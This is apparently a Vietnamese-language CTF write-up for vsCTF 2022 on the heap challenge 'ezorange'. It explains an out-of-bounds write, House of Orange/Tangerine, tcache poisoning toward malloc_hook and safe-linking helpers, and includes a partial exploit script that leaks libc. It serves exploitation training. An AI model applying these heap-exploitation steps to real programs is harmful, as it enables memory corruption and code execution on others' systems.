# vsCTF 2022 write-up
# I. ezorange - House Of Tangerine(Orange)
## Phân tích
- Challenge có 2 hàm quan trọng: buy và modify


:::info
- hàm buy(): chỉ cho size <=0x1000 và chỉ cho lưu 2 chunk.
- hàm modify(): hàm này cho đổi data tại idx, tuy nhiên chỉ cho ghi lần lượt 1 byte
--> Bug OOB rõ ở hàm modify khi cho phép control tất cả các bytes -> Heap overflow
:::
- Tuy nhiên, lại không có hàm free nên nghĩ ngay đến House Of Orange
## Khai thác
- Về mặt kĩ thuật thì đã được đề cập ở [How2Heap walkthrough](https://hackmd.io/BsWCXE4rQN-wYTepjJbnvw?view#How2Heap-Walkthrough)
- Tạo chunk -> modify top_chunk -> tạo chunk(0x1000) -> ta có 1 old top_chunk ở unsorted bin -> sử dụng tiếp hàm modify để leak libc ra.
```py
buy(p,0,0x18)
modify(p,0,0x18,0x51) #overwrite top_chunk
modify(p,0,(0x18+1),0x0d) #overwrite top_chunk
modify(p,0,(0x18+2),0x00) #overwrite top_chunk
buy(p,1,0x1000) # move old top_chunk into ubin
leak_libc = b''
for i in range(6):
sla(p,b'> ',b'2')
sla(p,b'number: ',str(0).encode())
sla(p,b'index: ',str(0x20+i).encode())
ru(p,b'Current value: ')
leak = int(ru(p,b'\n').replace(b'\n',b''),10)
leak = bytes(f"{leak:02x}", 'utf-8')
leak_libc = leak + leak_libc
sla(p,b'New value: ',str(0x41).encode())
leak_libc = int(b'0x' + leak_libc,16)
print("LEAK LIBC:",hex(leak_libc))
libc_base = leak_libc - 0x1c5c00
print("LIBC BASE:",hex(libc_base))
malloc_hook = libc_base + 0x1c5b90
print("MALLOC HOOK:",hex(malloc_hook))
```
### House of Tangerine
- Sau khi có được libc bằng House of orange + kĩ Orange sẽ hijack vtable để gọi thẳng đến system() nhưng ở libc > 2.26 đã có chức năng check vtable nên không thể dùng tiếp.
-> Đây là lí do sử dụng House of tangerine
- Về bản chất thì Tangerine vẫn là Orange vẫn sẽ overwrite top_chunk tuy nhiên tangerine sẽ có target thì đưa top_chunk vào tcache.
### Tcache poisoning
- Sau khi đã có cách đưa chunk vào tcache
- Với lỗi OOB ở heap, chúng ta có thể overwrite được `fd_pointer` của tcache để fake chunk đến `malloc_hook`
#### safe linking encrypt
- [safe linking](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/)
- `encrypt` :
```py
def obfuscate(target, addr_heap):
return target^(addr_heap>>12)
```
- `decrypt` :
```py
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
```
-> Đến đây rồi thì mọi thứ đã xong.
# II. forNback
{"title":"vsCTF 2022","description":"Challenge có 2 hàm","contributors":"[{\"id\":\"72b45573-d78b-4ff6-ab56-b84364ac23d6\",\"add\":2668,\"del\":22}]"}